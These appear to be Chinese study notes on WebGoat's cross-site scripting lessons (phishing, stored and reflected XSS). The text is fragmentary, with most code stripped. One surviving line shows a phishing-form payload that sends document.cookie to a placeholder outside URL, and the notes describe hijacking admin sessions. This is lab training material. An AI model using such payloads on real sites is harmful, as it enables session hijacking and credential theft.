Cross-Site Scripting (xss)

Phishing with XSS

网络钓鱼与xss

使用 测试
使用




This feature requires account login:



Enter Username:

Enter Password:




测试

Webgoat 笔记总结-Cross-site-scripting_第1张图片

Stage 1: Stored XSS

这个案例需要执行一个保存型的XSS

分析

普通职员可以修改查看自己的资料,管理员可以查看普通职员的资料

1.在职员larry的个人资料中插入xss脚本

2.管理员在查看larry的个人资料时运行脚本中招~(这样就可以盗取管理员身份,或者利用管理员身份来干点其他事CSRF)

登录larry 密码larry
修改信息
Webgoat 笔记总结-Cross-site-scripting_第2张图片

也可以插入其他代码
CSRF
点击” UpdateProfile”之后立即弹出窗口,说明这个XSS是可行的
Webgoat 笔记总结-Cross-site-scripting_第3张图片

然后退出Larry用户,登陆其他用户查看Larry的信息,验证***是否成功

Webgoat 笔记总结-Cross-site-scripting_第4张图片

Stage3:
阶段3:执行一个以前存储跨站脚本(XSS)***。

“布鲁斯”的员工配置文件是预装存储XSS***。验证“大卫”是受***。

先登录david
Webgoat 笔记总结-Cross-site-scripting_第5张图片

看到david的cookies了
Webgoat 笔记总结-Cross-site-scripting_第6张图片

执行Reflected XSS***。

使用一个漏洞在搜索页面URL员工中插入包含reflected XSS***。验证另一位员工使用链接受到***

Webgoat 笔记总结-Cross-site-scripting_第7张图片

在搜索框中插入

Stored Xss Attack

1、盗取各类用户帐号,如网银、管理员等帐号

2、欺骗浏览器访问钓鱼网站,以骗取账号密码等个人信息

3、将使用者浏览器导向恶意网站,向使用者计算机下载并安装恶意后门程序

Webgoat 笔记总结-Cross-site-scripting_第8张图片

将用作参数来操作系统命令、脚本和数据库查询。这是特别重要的内容,将会永久地存储在应用程序的某个地方。用户不应该能够创建消息内容,可能会导致另一个用户加载一个令人不快的页面或令人不快的内容当用户的检索消息

输入代码

Webgoat 笔记总结-Cross-site-scripting_第9张图片

还可以输入其他代码 如帐号密码框



drdr

action="http:\\地址(URL)\getinfo?cookie="%2bdocument.cookie>

Login:

Password:

Reflected XSS Attacks

目标是通过XSS漏洞来劫持已通过验证的用户会话,以达到拥有该授权用户的所有权限

实践来验证所有输入在服务器端。XSS可以发生在未经验证的用户输入用于HTTP响应。在reflected XSS***,***者可以创建一个URL和***脚本,寄到另一个网站,电子邮件,或者获得一个受害者点击它。

输入代码
'>